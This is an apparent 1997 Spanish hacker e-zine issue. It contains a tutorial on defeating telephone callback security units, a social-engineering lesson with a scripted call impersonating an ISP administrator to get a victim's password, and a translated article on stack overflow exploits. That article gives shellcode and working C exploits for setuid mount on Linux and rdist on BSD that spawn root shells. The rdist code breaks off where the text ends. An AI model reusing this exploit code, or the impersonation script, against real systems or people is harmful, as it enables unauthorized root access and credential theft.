
                        /\           /\      /\
                        ۳           ۳      //
                        ۳           ۳      \\
                   /\  ۳      /\  ۳      //
                   ۳  ۳      ۳  ۳      ۳
                    \/ ۳  /\   \/ ۳  /\  ۳  /\
                   \/  \/  \/  \/  \/  \/
                     
                          / HACKERS TEAM JOURNAL

                            VOL. #1, N1, 1997.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=          

     Nota: - J.J.F. / HACKERS TEAM - no se hace responsable del mal uso
           de la informacion aqui expuesta y tampoco tiene que estar
           de acuerdo con lo que sus colaboradores opinen.
           Tampoco esperamos que la gente use la informacion aqui expuesta
           para hacer dao ya que tan solo es con fines didacticos.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=          

     #CURRENT MEMBERS :

     - CONDE VAMPIRO     - CODER  H/P/V  EDITOR
     - MAC CRACK BISHOP  - CODER  C      WEBMASTER
     
     #WEB OFICIAL :

     - http://www.angelfire.com/mi/JJFHackers

     #E-MAIL OFICIAL :

     - jjf_team@hotmail.com

     #COLABORADORES CON ESTE NUMERO :

     - VANDALS  
     - IPgh0st  (Underhack)
     - NOBODY

------------------------------------------------------------------------------
------------------------------------------------------------------------------
------------------------------------------------------------------------------

  - INDICE.

    TITULO                                        AUTOR
  ------------________________________________---------------


  * EDITORIAL ________________________________ J.J.F. / HACKERS TEAM
  * TECNICAS HACKER __________________________ VANDALS.
  * CURSO DE HACK I __________________________ CONDE VAMPIRO.
  * STACK OVERFLOW EXPLOiTS __________________ IPgh0st.
  * CONFERENCIA DE LA GC EN EL SIMO __________ NOBODY.
  * TEST HACKER ______________________________ MAC CRACK BISHOP.
  * NOTICIAS UNDERGROUND _____________________ CONDE VAMPIRO.
 


------------------------------------------------------------------------------

------------------------------------------------------------------------------

  -------------
   EDITORIAL 
  -------------

        - J.J.F. / HACKERS TEAM - JOURNAL es un nuevo e-zine underground
  en lengua hispana en el cual se discutira, enseara, exprondra, denunciara
  sobre H/P/C/V y temas relacionados (internet, programacion, etc...) pero
  por el contrario no se incluira temas como anarkia, ufologia, gore, temas
  oscuros y cosas por el estilo.

        Desde aqui animar a todos los interesados que nos ayuden aportando
  articulos para crear un e-zine a la altura de los demas existentes en
  nuestra lengua y que sobre todo nos guste a todos y tengamos algo util
  en nuestros HD.

        Quiero sealar que este primer numero es de tanteo, por lo que no
  seais muy criticos, ya que se ira adoptando las medidas necesarias para ir
  mejorando y sobre todo para aquellos que solo critican, que nos envien
  un articulo para ver de que son capaces o es que solo saben criticar!!

        Se permite su libre distribuccion siempre y cuando el e-zine no sea
  alterado de ningun forma entre toda la scene. Esta prohibida su
  distribucion en medios comerciales.

        El web oficial del - J.J.F. / HACKERS TEAM - JOURNAL sera el
  siguiente, ademas tambien aqui podras hallar informacion y programas que
  no se repartiran con el e-zine :

  http://www.angelfire.com/mi/JJFHackers

        Pero si alquien quiere ser distribuidor oficial que nos envie un mail
  indicandonoslo, para darle un link en nuestro web o quieres enviar un
  articulo o cualquier cosa que quieras decir, escribe a:

  jjf_team@hotmail.com

        Pues aqui se acaba lo que la editorial tenia que decir y esperamos que
  te agrade este e-zine y seas un asiduo a el.

                                                   - J.J.F. / HACKERS TEAM -

------------------------------------------------------------------------------

------------------------------------------------------------------------------

 **************************************************************
 *                                                            *
 *       Tema: Tecnicas Hackers                               *
 *       Proposito: Enseanza sobre tecnicas                  *
 *       Autor: Vandals                                       *
 *                                                            *
 *                                                            *
 *       (*)Este es el primer articulo sobre un cursillo de   *
 *          Tecnicas Hackers.                                 *
 *                                                            *
 *                                                            *
 **************************************************************

        En primer lugar kiero dejar totalmente claro ke ni el autor ni el
 grupo - J.J.F. / HACKERS TEAM - , se hara responsable de la utilizacion ke
 se vaya a hacer con esta informacion. Simplemente distribuimos esta
 informacion con fines educativos y para ke todos tengan acceso a la misma.

        Este cursillo, sera dividido en cinco articulos, siendo este el
 primero. En cada articulo se hara su explicacion correspondiente del uso de
 la tecnica a tratar. El cursillo se dividira en cinco articulos, los cuales
 seran:

 1-. Unidades de regreso de llamada.

 2-. Puertas traseras.

 3-. La decodificacion.
 
 4-. Desvio de llamadas.

 5-. Velocidad.


        Asi es komo voy a dividir este cursillo, para ke te vayas haciendo
 una idea de lo ke se va a tratar en el mismo. Bueno, ahora si ke voy a dejar
 de hablar tanto y me voy a meter directamente a lo ke realmente nos interesa.


 1-. UNIDADES DE REGRESO DE LLAMADA

	En ingles, "regreso de llamada" se dice "callback", asi ke de 
 ahora en adelante utilizare la palabra inglesa simplemente por komodidad.
 Bueno, las callback son una gran invencion de seguridad, pero con la mayoria
 de sistemas telefonicos es posible ke un hacker use los siguientes pasos 
 para conseguir ke una unidad de callback ke usa la misma linea para recibir 
 llamadas como para realizarlas le de lo ke le interesa.

        En primer lugar, el hacker llama al callback he introduce un codigo
 (ID) autorizado (esto no es muy dificil de conseguir, como veremos ahora).
 Despues de ke introduce el ID, el hacker mantiene la linea abierta (es decir,
 sin colgar). Cuando la unidad de callback recoje la llamada para llamar al
 usuario de vuelta, el hacker esta ahi, esperando para encontrarse con el.

        El codigo (ID) como dije antes, es facil de obtener para el hacker,
 porke estos codigos no significan ser precauciones de seguridad. La unidad de
 callback da los mismos codigos para poder mantener las llamadas ke le llegan
 desde el ordenador.
        Los ID's no son mas privados ke la mayoria de los numeros de telefono
 de cualkier tio. Algunas unidades de callback se refieren al codigo como 
 "location identification numbers" y algunas de estas localizaciones son
 utilizadas por diferentes personas, asi ke sus ID's son perfectamente
 conocidos. En algunos casos, las unidades de callback tambien tienen ciertos
 ID's ke estan siempre definidos como "default". Una vez ke el hacker ha
 introducido el ID y la unidad de callback ha recojido la llamada para
 llamarlo de vuelta, el hacker debe o no decidir ke la unidad de callback se
 kede pensando, esto se hace, marcando el numero correcto. Luego, lo uniko ke
 nos keda, es encender el ordenata y comunicar con el sistema ;)
 Sin embargo, si hemos tenido algun problema en mantener la linea con este
 metodo todavia tenemos otra opcion, la cual seria: El Interceptor.

 INTERCEPTOR

	Mantener la linea, solo funcionara con unidades de callback ke usen
 la misma linea telefonica para hacer llamadas internas y externas. Algunas
 unidades de callback usan diferentes lineas para llamadas internas y
 externas; los numeros 555-3820 hasta el 555-3830 son dedicados a usuarios
 de llamadas internas y los numeros 555-2020 hasta el 555-2030 son dedicados
 para ke el ordenador haga llamadas externas. La unica cosa ke un hacker
 necesita para conseguir entrar en estos sistemas es un ordenador y un poco de
 tiempo (incluso no es necesario un ID).

        En primer lugar, el hacker llama a alguien por medio de llamada
 externa, ke por supuesto no habra respuesta. Tarde o temprano, mientras el
 hacker tiene el ordenata esperando, escuchando el marcado de linea
 (dial tone), un usuario autorizado, llamara por medio de linea interna y
 este, esperara a ser llamado por la unidad de callback. Normalmente, el
 hacker tendra ke esperar menos de una hora, pero sabemos de sobra ke el
 ordenata del hacker es perfectamente capaz de esperar durante dias si fuera
 necesario.

        Luego, la unidad de callback tomara el codigo de autorizacion del
 usuario, mantendra la linea, verificara el codigo y dara linea para llamar de
 vuelta al usuario. Si la unidad intenta hacer llamada externa el hacker
 entonces tendra ya el marcado de linea (dial tone) y entonces el ordenata del
 hacker toca un tono ke suena como el marcado de una linea. Entonces el
 ordenata llamara por medio del codigo autorizado del usuario y despues de
 esto, el hacker puede ya conectar su ordenata al sistema y ya estaria dentro.
 Despues, lo ke viene a continuacion seria otro caso.

        Si ademas, el hacker fuera totalmente serio, lo ke haria seria
 descodificar los tonos producidos por el mainframe, de tal manera ke
 obtendria el numero de telefono del usuario al ke el sistema estaba llamando.
 A continuacion, el hacker llamaria a esa persona y por medio de su ordenata
 haria ruidos extraos ke sonarian komo ke el callback lo esta llamando, pero
 ke por alguna razon no funciona la llamada. De esta manera el hacker
 justificaria la llamada del callback.

        Bueno, espero ke este primer capitulo te sirve de ayuda, y a la vez,
 seas capaz de llevar a cabo nuevas cosas ;)

 Vandals 
------------------------------------------------------------------------------

------------------------------------------------------------------------------

                              - CURSO DE HACK - 
                                  CHAPTER I

        Pues aqui empezaremos un curso sobre el tema que mas nos gusta,
   claro esta el Hacking. Por supuesto sera para aquellos que no sepan nada
   o muy poco, ya que se daran cosas muy basicas hasta llegar a altos vuelos.
        Para seguir este curso en necesario conocer un poco internet, s.o.,
   programacion en C y telecomunicaciones. Algunos de estos temas tambien se
   daran aqui pero de pasada como por ejemplo el unix, al contrario que de C
   el cual no se introducira a el, pero si que habra programas en C para
   nuestros propositos.
   Ya basta de charla y empecemos con algo de Hack.

   - Ingenieria Social.

        La ingenieria social es todo un arte dentro del HACKING, ya que segun
   nuestras habilidades podremos conseguir lo que queramos desde numeros
   de telefonos, passwords, informacion confidencial, etc...
   Basicamente consiste en hacernos pasar por otra persona normalmente por
   el admimistrador de un sistema informatico, pero tambien podemos elegir
   otra figura como por ejemplo un chica ( los chicos siempre estan
   dispuestos a ayudar a una chica en apuros }:-)
        Cuando ya sabemos por quien nos vamos a hacer pasar, llamanos por
   telefono o incluso el irc (por mail tabiem se puede pero es otra historia)
   y nos ponemos en contacto con nuestra victima y le metenos una bola para
   que nos de su login y password para conectarse a internet justificando
   que hemos tenidos problemas con el servidor.

   Un ejemplo podria ser esto :  C= CONDE VAMPIRO.   V=VICTIMA.

   C= HOLA, ESTA EL SEOR JUAN GARCIA, POR FAVOR.
   V= SI, SOY YO.

   C= PUES LLAMABA DE SU PROVEEDOR DE INTERNET ARRAKIS. SOY ANGEL MARTIN
      EL ADMINISTRADOR.
   V= HHAA SI, OCURRE ALGO ?

   C= PUES LA VERDAD ES QUE ULTIMANENTE HEMOS TENIDO PROBLEMAS CON NUESTROS
      ROUTERS (lo mas seguro es que sepa que es esto :), Y QUERIA
      PREGUNTARLE SI USTED HA TENIDO PROBLEMAS CON SU ACCESO?
   V= PUES NO.

   C= QUE RARO, TODO EL MUNDO NOS HA DICHO QUE SI.
   V= PUES YO NO HE NOTADO NADA, AUNQUE ULTIMANTE HE CONECTADO POCO.

   C= PUES MEJOR PARA USTED PERO DE TODAS FORMAS ME PODIA DAR SU LOGIN Y
      PASSWORD, PARA QUE PUEDA CONFIRMAR QUE TODO ESTA CORRECTO.
   V= MI LOGIN Y PASSWORD ???

   C= PUES SI, PARA PODER VERIFICAR SU CUENTA Y TAMBIEN ME PODRE DAR MAS PRISA
      EN HACER MI TRABAJO, NO SE PREOCUPE QUE EN 2 O 3 DIAS LE VUELVO A
      LLAMAR Y LE DIGO COMO ESTA TODO. (siempre muy alegre)
   V= BUENO, VALE. MI LOGIN ES JGARCIA Y MI PASSWORD XXXXXXX.

   C= MUCHAS GRACIAS POR SU AYUDA Y DENTRO DE NADA LE LLAMO Y LE INFORMO SOBRE
      SU ESTADO EN NUESTRO SERVIDOR. ADIOS
   V= OK, DE NADA Y ADIOS.

        Logicamente en esta conversacion yo sabia algunos datos de la persona,
   pero tambien se puede hacer sin saber nada como haciendonos pasar por una
   chica en el irc la cual necesita ayuda para configurar su cuenta pero no
   sabe nada de nada ;-)
   Para que la ingenieria social funcione conviene tomar unas medidas.

   - Parece siempre confiados, nunca dudar.
   - Saber de que hablamos, meter algun tecnicismo.
   - Procurar no insistir mucho ya que podia sospechar.
   - Si tenemos algo de informacion de la victima mucho mejor.
   - No dar muchos datos personales de uno mismo.
   
        Con esto que os acabo de explicar y aplicando vuestra imaginacion
   podreis conseguir mucha informacion para empezar a ser unos Hackers.
 
                                                           CONDE VAMPIRO
                                                    - J.J.F. / HACKERS TEAM -

------------------------------------------------------------------------------

------------------------------------------------------------------------------

     STACK OVERFLOW EXPLOiTS EN LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX

                       THC Magazine n3 1996 por Plasmoid

                         \/\-traducido por IPgh0st-/\/


 introduccion
 ~~~~~~~~~~~~~~
        bienvenido al mundo de los stack overflows (DesBordAmIeNtoS de PilAs),
 pensaba en escribir un articulo explicando la operacion completa de esta
 clase de overflows en pc's con unix, pero cuando lei el numero #49 de la
 Phrack me di cuenta de que alguien ya habia escrito un articulo de esta
 clase. bueno, si quieres saber ms sobre la base tecnica (programacion en
 ensamblador/debugging) de los stack overflows en sistemas linux y quieres
 leer un excelente articulo consigue el n 49 de la Phrack Magazine, articulo
 14 por aleph one, el articulo mas completo que jamas habia visto, un gran
 trabajo! (phrack49.zip) pero si no estas interesado en entender cientos de
 lineas en ensamblador i80836 y deseas tener una guia mas practica, continua
 leyendo este articulo para aprender facilmente como usar los exploits de
 overflow en varios sistemas unix.

 contenidos
 ~~~~~~~~~~~~

                  [a]    la pila - pequea introduccion
                  [b]    estructura de la pila
                  [c]    jugando con la direccion de retorno
                  [d]    ejecutando una shell en ensamblador
                  [e]    averiguando la direccion real de la pila
                  [f]    variables de entorno/command line
                  [g]    palabras finales

           exploit[1]    mount.c  - version linux: < 2.0.8
           exploit[2]    rdist.c  - todas las versiones bsd: 2.0
           exploit[3]    rlogin.c - version solaris: 2.5 & 2.5.1

          apendice[A]    codigo asm y c para ejecutar
          apendice[B]    comandos nop para diferentes sistemas
          apendice[C]    get_sp() para diferentes sistemas
          apendice[D]    findsuid.sh - shellscript



 [a] la pila - pequea introduccion
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        la funcion principal de cualquier CPU es procesar y mover datos.
 Mientras se procesan o se mueven esos datos la CPU necesita un lugar en el 
 que poder guardar rapidamente informacion importante debido al espacio
 limitado de los registros. Esta informacion se guarda en la pila. La pila es
 una parte especial de la memoria a la que se puede acceder con comandos
 especiales muy rapidos. La pila es variable en cuanto a tamao y posicion.

        p.ej. si un registro N esta siendo usado y un sub-procedimiento que
 tambien necesite dicho registro N es ejecutado la CPU guardara el valor del
 registro N en la pila y lo restaurara cuando el procedimiento haya
 finalizado. Para mejorar la velocidad de todo este proceso, la CPU emplea
 los comandos especiales de la pila que son mas rapidos que los movimientos
 normales en la memoria.

        p.ej. si un procedimiento es ejecutado la CPU necesita saber a donde
 debe regresar cuando el procedimiento haya acabado, y por ello esta
 "direccion de retorno" se guarda en la pila antes de llevar a cabo el
 procedimiento y despues de haberlo finalizado, la CPU salta a esa direccion
 de retorno almacenada en la pila.

        Existe una segunda funcion de la pila. Si un programa crea o recibe
 datos, el nuevo campo de datos se almacenara en la memoria, todos los
 programas emplean campos de datos dinamicos para almacenar dicha informacion.
 La CPU crea dichos campos en la pila si se necesitan y los elimina si ya no
 se van a necesitar mas.

        p.ej. si un procedimiento tiene que intercambiar el valor de dos
 variables (a <-> b), necesita una tercera variable c para almacenar
 un valor:
              c <- a
              a <- b
              b <- c

        la variable c se instalaria en la pila y se eliminarIa una vez que el
 proceso hubiese terminado.

         seguro que ahora recuerdas mis palabras en la introduccion
 prometiendo algo como "crear exploits facilmente sin tener que aprender toda
 la mierda de detras". Bueno lo siento pero necesitas conocer algunas cosas
 antes e intentare explicarlas de la forma mas simple posible. (podria haber
 explicado todo esto en ensamblador ;]

 [b] estructura de la pila
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        La pila est estructurada de un modo que confunde a veces a la gente
 (como a mi), el primer valor almacenado sera leido el ultimo y el ultimo
 valor que fue almacenado se leera el primero, esto simplemente se llama
 "last in, first out" (El uLtiMo QuE EnTrA, eL PrimErO qUe sAlE) o LIFO.
 Ahora analicemos mas detenidaamente la pila, imaginemos que acabamos de
 ejecutar un proceso en un programa (para que no te aburras: luego haremos
 esto para conseguir privilegios de rOOt). Cul seria el aspecto de la pila
 si dicho procedimiento requiere el uso de algunas variables locales
 (dinamicas) propias?

                           .
                           .
                           :   ...                 .  .
                           |-----------------------:
              -2048 bytes  |   array local 1[1024] |  ...
                           |-----------------------|
              -1024 bytes  |   array local2[1024]  |  tamao 1024 bytes
                           |-----------------------|
 posicion actual de la pila|   puntero base        |  tamao 4 bytes
                           |-----------------------|
                 +4 bytes  |  direccion de retorno |  tamao 4 bytes
                           |-----------------------|
                 +4 bytes  :   parmetros ...      |  ...
                           .                       :
                                                   .  .

        como puedes ver las diferentes variables mencionadas y la informacion
 son almacenadas en la pila. Todas las CPU's utilizan un puntero de pila cuya
 mision es sealar la posicion actual, se llama SP (de Stack Pointer). Las
 partes interesantes de la pila son el array local2 y la direccion de
 retorno, no nos preocuparemos del resto porque lo que queremos es conseguir
 privilegios de root y ya esta.

 [c] jugando con la direccin de retorno
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        Como podras recordar, antes de ejecutar un procedimiento la CPU
 guarda la direccion de retorno en la pila, si el procedimiento termina
 entonces la pila saltara a la direccion de retorno y continuara. Pero si el
 procedimiento escribe tantos bytes en una variable local que supera su
 tamao maximo, se sobreescribira la direccion de retorno y esto se llama
 overflow (dEsBordAmiEntO).

         p.ej. si se escribe el caracter X 1032 veces (1028+4) en el array
 local2 de la figura de arriba, el procedimiento sobreescribira su propia
 direccion de retorno. Y la pila tendra este aspecto:
                                     
                           .
                           :   ...                 .  .
                           |-----------------------:
              -2048 bytes  |   array local 1[1024] |  ...
                           |-----------------------|
              -1024 bytes  |   1024 veces "X"      |  tamao 1024 bytes
                           |-----------------------|
 posicion actual de la pila|      4 veces "X"      |  tamao 4 bytes
                           |-----------------------|
                 +4 bytes  |      4 veces "X"      |  tamao 4 bytes
                           |-----------------------|
                 +4 bytes  :   parametros ...      |  ...
                           .                       :
                                                  .  .

        En vez de escribir el caracter "X" en la direccion de retorno
 podriamos escribir una nueva direccion en la pila, asi forzariamos al
 programa a saltar al lugar que nosotros queramos!
        Seria muy inteligente si saltaramos a una direccion donde hemos
 colocado algo de codigo en ensamblador que haga algo interesante (adivinas
 que?), podriamos crear este codigo ensamblador en la variable local; en el
 ejemplo array local2:

                           .
                           :   ...                 .
                           |-----------------------:
              -2048 bytes  |   array local 1[1024] |
                           |-----------------------|
              -1024 bytes  |   nuestro codigo      | < -
                           |-----------------------|    |
 posicion actual de la pila|   4 bytes de basura   |    |
                           |-----------------------|    |
                 +4 bytes  | direccion del codigo  | ___|
                           |-----------------------|
                 +4 bytes  :   parametros ...      |
                           .                       :
                                                   .

        Si el propietario del programa es r00t y tiene el flag de suid de tal
 modo que un usuario normal puede ejecutarlo y le dara al usuario privilegios
 de r00t mientras sea ejecutado, nuestro codigo podria sernos de ayuda en
 nuestros propositos! Pero como?

 [d] ejecutando una shell en ensamblador
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        Si nuestro codigo ejecutase una shell normal y hubiesemos creado el
 desbordamiento en un programa con el flag suid y cuyo propietario fuese el
 root entonces tendriamos una magnifica shell de root a nuestra disposicion y
 finalmente el sistema seria hackeado. Lo que necesitamos justo ahora es un
 trozo de codigo ensamblador que ejecute una shell, bueno no es estrictamente
 necesario que ejecute una shell puedes ejecutar cualquier otro programa.
        Puedes encontrar el codigo correspondiente para varios sistemas en el
 apendice [A] en ensamblador puro y compilado en c con el nombre "execshell".

        Si aun asi quieres saber como desensamblar dicho codigo lee el
 articulo 14 de Phrack Magazine #49 o ponte en contacto conmigo via email. Se
 ha aadido "/bin/sh" al codigo en la mayoria de los casos, si quieres
 ejecutar un programa diferente simplemente modifica el campo correspondiente
 a tu gusto.
        Para garantizar que nuestro codigo funcione lo copiamos en el campo
 de datos junto con muchos nops que luego seran copiados a la variable local
 (nop= no operation). Este campo de datos necesita ser mayor que la variable
 local para poder sobreescribir la direccion de retorno.  En el siguiente
 ejemplo lv_size es el tamao de la variable local que queremos desbordar y
 buffer es el nombre del campo de datos (que tambien es local).
 
 ej. #define lv_size=1024
     char buffer[lv_size+8]

        Aadimos exactamente 8 bytes, mira mas detenidamente la pila de
 arriba y sabras por que. Si queremos sobreescribir la direccion de retorno
 tenemos que sobreescribir 4 bytes el puntero base y 4 bytes la direccion de
 retorno.
        El campo de datos buffer deberia aparecer asi:

     ... <nop> <nop> <nop> <nop> <nop> <codigo que ejecuta una shell>

        Analiza este codigo en c para aprender como podemos hacer esto,
 lv_size es una abreviatura de "local variable size", execshell es el char
 field con nuestro codigo ensamblador y el path de la shell que queremos
 ejecutar. ptr es un puntero que seala hacia el campo que copiaremos sobre
 la variable local.

 e.g. la version facil:    for(i=0;i<lv_size-strlen(execshell);i++)
                           ptr[i]=0x90;
                           for(i=0;i<strlen(execshell);i++)
                            ptr[i+lv_size-strlen(execshell)]=execshell[i];

 e.g. la manera elegante:  memset(ptr,0x90,lv_size-strlen(execshell));
                           ptr+=lv_size-strlen(execshell);
                           for(i=0;i<strlen(execshell);i++)
                            *(ptr++)=execshell[i];

        Estos ejemplos estan pensados para sistemas unix porque emplean 0x90
 que es el codigo para el comando nop, en otras plataformas tienes que usar
 otros codigos para los nops. He incluido los codigos correspondientes del
 nop para varios sistemas, mira el apendice [B].
        Usare la version facil en mis exploits porque no soy un programador
 de c profesional y prefiero indexar como en ensamblador. Ya hemos llenado el
 buffer con nuestro codigo y algunos nops y ya nos encontramos cerca de
 nuestra meta, convertirnos en r00t.

 [e] averiguando la direccion real de la pila
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        Recuerdas que dijimos que la pila es variable en posicion y tamao?
 Si no, lee de nuevo [b] para refrescar tu mente. Empleamos una pequea
 funcion para averiguar la direccion actual de la pila guardando el SP, esta
 direcion es el comienzo de la pila antes de instalar las variables locales y
 la direccion de retorno, lo llamara OSP (old SP, SP vIejA) en el ejemplo.

        Tenemos que sumar un offset variable al OSP, este offset tiene que
 ser de un tamao tal que la CPU se encuentre un nop cuando salte a la
 direccion de retorno.
                           .                       .
                           :                       .
                    OSP -> |-----------------------:        ------
              -2048 bytes  |   array local 1[1024] |              | offset
                           |-----------------------|              | mas grande
              -1024 bytes  |   <...>               |              | que
                           |   <nop>               |              | 1024
                           |   <nop>               |        ______|
                           |   <nop>               | < -   OSP + offset
                           |   <nop>               |    |
                           |   <nuestro codigo>    |    |
                           |-----------------------|    |
 posicion actual de la pila|   4 bytes de basura   |    |
                           |-----------------------|    |
                 +4 bytes  | direccion: OSP+offset | ___|
                           |-----------------------|
                 +4 bytes  :   parametros ...      |
                           .                       :
                                                  .

        En el ejemplo tenemos una variable local delante de la variable
 manipulada, por lo tanto tenemos que generar un offset que sea mas grande
 que el tamao de esta variable.
        Para poder averiguar el valor del SP, usamos una funcion llamada
 get_sp(), por supuesto existen diferentes metodos para obtener este valor en
 los distintos sistemas unix, he incluido varias versiones en el apendice [C].
         ptr2 es un puntero dword a ptr que seala hacia la direccion de
 retorno en el buffer.

 ej. el codigo correcto: ptr2=(long *)ptr;
                         *ptr2=get_sp()+offset;

 ej. el codigo robusto: ptr2=(long *)ptr;
                        for(i=1;i<8;i++)
                        *(ptr2++)=get_sp()+offset;

        Empleare el codigo robusto en mis exploits porque escribe la
 direccion de retorno 8 veces en la pila, asi si la direccion de la pila que
 habiamos estimado esta equivocada, tenemos todavia otros 7 sitios a los que
 podria saltar.

 [f] variables de entorno y de la linea de comandos
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        Seguro que ya estas cansado de toda esta base tecnica y todo el rollo,
 tienes razon, es hora de buscar un objetivo y atacarlo. El programa que se
 deberia atacar debe tener como propietario al root y tiene que tener
 configurado el suid. Si quieres encontrar este tipo de programas simplemente
 utiliza la shell findsuid del apendice [D].
        Si has leido las secciones previas detenidamente ya deberias saber
 como desbordar la pila usando una variable local, pero como puedo detectar
 si un programa es vulnerable a este bug de desbordamiento? Existen dos
 maneras de pasar variables a un programa, las variables de entorno y las de
 la linea de comandos

 ej. variable de la linea de comandos: cat /test.file
                                       ^ variable (type: char[256])

        Despues de cargar el codigo maquina del programa y ejecutar los
 primeros procedimientos el programa copiara la variable a un buffer, si no
 existe comprobacion de tamao puedes usar dicha variable para desbordar la
 pila; para averiguar el tamao de la variable de la linea de comandos prueba
 poniendo muchos caracteres en la linea de comandos. (por ej. 1024+4, 256+4,
 512+4,...) si el programa te muestra el mensaje "segmentation fault" ("error
 de segmentacin"), puedes usar el programa para obtener root. Por supuesto
 existen programas con lineas de comando enormes, como por ejemplo 8000 bytes.
         Si tienes una lista de archivos suid/root en tu sistema, comprueba
 si son vulnerables en la linea de comandos. La segunda posibilidad es pasar
 la variable empleando una variable de entorno.

 ej. variable de entorno: set TERM=1234

        el programa copiara la variable TERM a un buffer, pero el tamao de
 este buffer puede variar, por tanto para desbordarlo tendras que probar con
 diferentes tamaos como 256, 512, 1024, 2048, etc. Encontrar programas que
 utilicen variables de  entorno no es facil, por supuesto sabras que algunos
 programas necesitan leer informacion del sistema desde variables de entorno;
 la mejor manera de averiguarlo es mirar directamente en los archivos de
 codigo fuente en c.
        En cualquier caso continua buscando nuevos programas vulnerables,
 porque siempre es mejor usar exploits que no sean muy conocidos entre la
 gran muchedumbre de lamers abusadores de exploits.

 [g] palabras finales
 ~~~~~~~~~~~~~~~~~~~~~~~~
        despues de leer toda esta mierda deberias ser capaz de generar
 overflow exploits tu solito, como demostracion he incluido tres exploits de
 ejemplo (que funcionan). He modificado el codigo original y les he puesto
 los mismos nombres de variables que en los ejemplos anteriores para que
 puedas entenderlo facilmente.

 exploits:           exploit[1]  mount.c  - version linux: < 2.0.8
                     exploit[2]  rdist.c  - todas las versiones de bsd: 2.0
                     exploit[3]  rlogin.c - version solaris: 2.5 & 2.5.1

        si tienes una sensacion extraa en el estomago y si quieres quejarte
 sobre este articulo, flamearme, si quieres obtener mas informacion, si
 quieres intercambiar cosas o simplemente enviar un mail inservible, mandame
 un email... PLASMOID@USA.NET y pronto en el servidor de
 THC PLASMOID@INSECURITY.ORG Si no tienes conexion a internet ponte en
 contacto conmigo en LORE BBS por van hauser/thc. Tambien puedes encontrarme
 via IRC, normalmente estoy en el canal #bluebox si mi cuenta no esta k-lined
 ;)
                                                       - plasmoid/thc/deep
                                                       The Hacker's Choice
                                             Drinking Evil Elite Phreakers

 plasmoid deep/thc <plasmoid@usa.net>

 -----BEGIN PGP PUBLIC KEY BLOCK-----
 Version: 2.6.3i
 mQCNAzJZDKwAAAEEANBXUFXqCzZLKuPj7OwB5O7thWOHlzzsi6SEZfsbiysPU4TL
 AMsBuCV4257Rr0//aEMt4CWjAkO3YWcBzBMvGQIDhT06v9SB4LZep6wJlSIsFK3v
 L1x+iYzSlvoXOHYSBcjoXA3sDm+kzz49to77Z20bJru7upjHD8iQeMWdAg+hAAUR
 tBtwbGFzbW9pZCA8cGxhc21vaWRAdXNhLm5ldD6JAJUDBRAyWQysyJB4xZ0CD6EB
 AQ6GBACB1n9DkgHfnC7D245MZPpacEHI8Jwj0DV6inV19E9qWf4VDdXA8+9YLuUV
 hsV1/WRX3sJWGWmAQASPitl2tc+7vWw6VC4gjif1XsRttIuNwmvU+DPY7ZULueFe
 bKoLI2zXsnWm/+8PMjc6GSYsNrXSpUjqkH6nIt6+sytm2QyWBw==
 =Vbcq
 -----END PGP PUBLIC KEY BLOCK-----

 exploit[1]
 ~~~~~~~~~~
 /* -------------------------------------------------------------------------
    mount.c - mount exploit for linux - version: < 2.0.10
    discovered by bloodmask&vio/couin
    coded by plasmoid/thc/deep for thc-magazine issue #3
    12/12/96 - works also on umount
    ------------------------------------------------------------------------- */

 #include <stdio.h>

 #define lv_size  1024
 #define offset     30+lv_size+8*4
 // -------------------------------------------------------------------------
 long get_sp()
 {
   __asm__("movl %esp, %eax");
 }
 // -------------------------------------------------------------------------
 main(int argc, char **argv)
 {
   char execshell[] =
          "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
          "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
          "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

  char buffer[lv_size+4*8];
  unsigned long *ptr2 = NULL;
  char           *ptr = NULL;
  int           i;

  for(i=0;i<lv_size+4*8;i++)
   buffer[i]=0x00;
  ptr=buffer;

  for(i=0;i<lv_size-strlen(execshell);i++)
   *(ptr++)=0x90;
  for(i=0;i<strlen(execshell);i++)
   *(ptr++)=execshell[i];
  ptr2=(long *)ptr;
  for(i=1;i<2;i++)
   *(ptr2++)=get_sp()+offset;

  printf("discovered by bloodmask&vio/couin\ncoded by plasmoid/thc/deep\nfor
  thc-magazine issue #3\n");
  (void)alarm((int)0);
  execl("/bin/mount", "mount", buffer, NULL);
 }


 exploit[2]
 ~~~~~~~~~~
 /* -------------------------------------------------------------------------
    rdist.c - rdist exploit for freebsd & bsd/os - version: 2.0
    discovered by brian mitchell
    coded by plasmoid/thc/deep for thc-magazine issue #3
    12/12/96
    ------------------------------------------------------------------------- */

 #include <stdio.h>

 #define lv_size   256
 #define offset     30+lv_size+8*4
 // -------------------------------------------------------------------------
 long get_sp()
 {
   __asm__("movl %esp, %eax");
 }
 // -------------------------------------------------------------------------
 main(int argc, char **argv)
 {
  char execshell[]=
         "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
         "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
         "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
         "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

  char buffer[lv_size+4*8];
  unsigned long *ptr2 = NULL;
  char           *ptr = NULL;
  int           i;

  for(i=0;i<lv_size+4*8;i++)
   buffer[i]=0x00;
  ptr=buffer;

  for(i=0;i<lv_size-strlen(execshell);i++)
   *(ptr++)=0x90;
